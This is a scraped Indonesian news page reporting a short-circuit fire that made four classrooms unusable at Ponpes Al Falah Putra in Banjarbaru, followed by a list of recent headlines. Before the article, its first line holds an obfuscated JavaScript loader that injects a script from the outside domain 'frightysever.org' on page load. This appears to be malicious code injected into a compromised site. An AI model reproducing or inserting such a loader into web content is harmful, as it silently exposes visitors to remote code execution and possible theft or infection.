(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

4 Kelas Ponpes Al Falah Putra Tak Lagi Bisa Digunakan


BANJARBARU, Diduga akibat hubungan arus pendek listrik, api melahap 4 ruang kelas di Pondok Pesantren (Ponpes) Al Falah Putra Landasan Ulin A Yani Km 23, Banjarbaru, Selasa (6/3). Akibatnya ruang kelas tidak lagi bisa digunakan untuk proses belajar mengajar.

Menurut keterangan satpam Ponpes Al Falah Putra, sekitar pukul 07.15 Wita seorang saksi mata berprofesi karyawan yang bekerja di samping Ponpes Al Falah Putra melihat ada asap mengepul keluar dari bangunan salah satu kelas yang berada di lantai 2. Dengan cepat saksi kejadian langsung melapor kepada pihak Ponpes Al Falah Putra.

Untungnya saat itu tidak ada santri pesantren di dalam kelas karena sedang melakukan sholat. Kepanikan sempat terjadi, sebelum tim pemadam kebakaran tiba, ratusan santri Al Falah langsung memadamkan asap yang keluar dari bawah lantai kelas 2 tersebut dengan melakukan penyiraman air secara manual.

Baru sekitar pukul 08.00 Wita tim pemadam kebakaran BPK tiba di TKP. Membutuhkan waktu selama satu jam untuk memadamkan dan memutuskan aliran listrik karena harus menjebol bagian atap dan lantai kelas. Sekitar pukul 09.00 Wita api berhasil dipadamkan. Api tidak sempat meluas, walau bangunan pesantren ini terbuat dari bahan kayu.

Akibat dari kejadian ini, ada 4 ruang kelas yang tidak dapat digunakan karena atap dan lantainya bolong, beberapa fasilitas pesantren berupa kursi dan meja berserakan.

Pimpinan Ponpes Al Falah Putra Banjarbaru KH Syamsuni mengungkapkan, sementara ini anak-anak santri yang belajar di 4 ruang kelas tersebut akan dipindakan ke ruang belajar lain.

“Masih kami cari jalan keluarnya, sementara untuk santri yang biasa belajar di 4 kelas itu akan kami pindahkan ke ruang lain,” ujarnya.

Pihak pesantren masih menghitung total kerugian akibat dari kejadian ini. Untuk 4 kelas yang telah rusak saat ini telah dipasang police line. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

6 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.